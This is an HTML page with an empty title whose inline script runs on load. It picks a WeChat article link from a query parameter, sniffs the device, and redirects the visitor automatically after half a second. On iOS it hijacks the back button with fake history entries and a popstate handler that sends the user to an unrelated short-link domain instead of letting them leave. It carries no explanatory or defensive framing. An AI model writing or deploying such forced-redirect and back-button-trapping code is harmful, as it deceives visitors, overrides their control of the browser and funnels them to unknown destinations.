<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no">
<title></title>
</head>
<body onload = "machineStyle()">
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script>
var hrefA = "111"
var jumpDict = [
				'http://mp.weixin.qq.com/s?__biz=MzU2MDc5ODM2Mg==&mid=2247483660&idx=1&sn=4a000ee4786d2ad3e423a7bea421fd26&chksm=fc03cef9cb7447ef2800257116b7e982b83503de98d56873952571debd7b4216fed2edcf64b1#rd',
				
				'http://mp.weixin.qq.com/s?__biz=MzU1MDk5OTI2Mg==&mid=2247483659&idx=1&sn=35402b74c6672c65650790afe244fbb4&chksm=fb9944bacceecdacfd63acff671f964aa484bc27779b1d158016eac78c7c747f1c26534ef910#rd',
				
				'http://mp.weixin.qq.com/s?__biz=MzU2NDc5NzIwMQ==&mid=2247483662&idx=1&sn=08f802dc508f8d8bf0e4a8be6245f07a&chksm=fc44cb70cb334266157d055db97d42c7f3d7ee12256db069046f81744b704124b844a42fb26d#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU2MDc5ODM2Mg==&mid=100000001&idx=1&sn=b14532b4bd7c0d07df8e7c1472038aa0&chksm=7c03cef44b7447e25203de615ad53e46adefbaa85d288701dd8327adda9a2abf2c40b186e6f9#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU3MTc5OTIwNg==&mid=100000001&idx=1&sn=96c06f9fd36422aca45727cf84fc8978&chksm=7cdbe2c84bac6bde4614e84ef33c6c8e4abfcd9b7f9d5e7c495a052a149da0d54c34a2c01f60#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU2NDc5NzIwMQ==&mid=100000001&idx=1&sn=246cf8c3ba9e8334abcf3f9321c6f19f&chksm=7c44cb7f4b334269e273cde67f3b4d7e942a8124b048740257051fba2846d01c883ab85fd569#rd',
                
				'http://mp.weixin.qq.com/s?__biz=Mzg5MzA1Mzk5Mg==&mid=100000002&idx=1&sn=136fdf01c01f9ba00baf4c22767c7046&chksm=4035fc45774275531267b81647d32d188ec24b719c52bbd2561984c2b5955359b523beee20bc#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzUzNjk5MjE5Mg==&mid=100000003&idx=1&sn=20f1cf61cfd1a403b0f2104c62b179ca&chksm=7aec81ac4d9b08ba1b106ab73700713bd63d462eb09f33f68bccb89f202ccd9d7de0d5010ab1#rd'

				]
var hrefB = "http://www.ecuz.cn/1001812/Cbrf9H"

  function getParam(paramName) { 
                paramValue = "", isFound = !1; 
                 if (this.location.search.indexOf("?") == 0 && this.location.search.indexOf("=") > 1) { 
                         arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0; 
                         while (i < arrSource.length && !isFound) arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() && (paramValue = arrSource[i].split("=")[1], isFound = !0), i++ 
                } 
             return paramValue == "" && (paramValue = null), paramValue 
            } 
function loadNewView(){
		var getpara = getParam("viewNum")
        hrefA = jumpDict[getpara];
}
function machineStyle() {
	 loadNewView()
	 var getpara = getParam("viewNum")
	 console.log('对象22222',getpara,'链接',hrefA)
    var u = navigator.userAgent, app = navigator.appVersion;
    var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1; //g
    var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
    if (isIOS) {
　　　bb()　
    }else{
	  aa()
	}
}
    function bb(){
		if (window.history && window.history.pushState) {
			$(window).on('popstate', function () {
				window.history.pushState('forward', null, '#');
				window.history.forward(1);
				window.location.href= hrefB;//执行操作
			});
		}
		window.history.pushState('forward', null, '#'); //在IE中必须得有这两行
		window.history.forward(1);
	    setTimeout('tiaozhuanA()',500)
	}
	function aa(){
    	if(window.name=="new"){
			window.name="";	
			 setTimeout('tiaozhuanB()',500) 
			 
  	  	}else{
			 window.name="new";	
			 setTimeout('tiaozhuanA()',500)    	
   	   }
	}
    function tiaozhuanA() {
       
        location.href= hrefA;
	}
	function tiaozhuanB() {
        location.href= hrefB;  
	}
</script>
</body>
</html>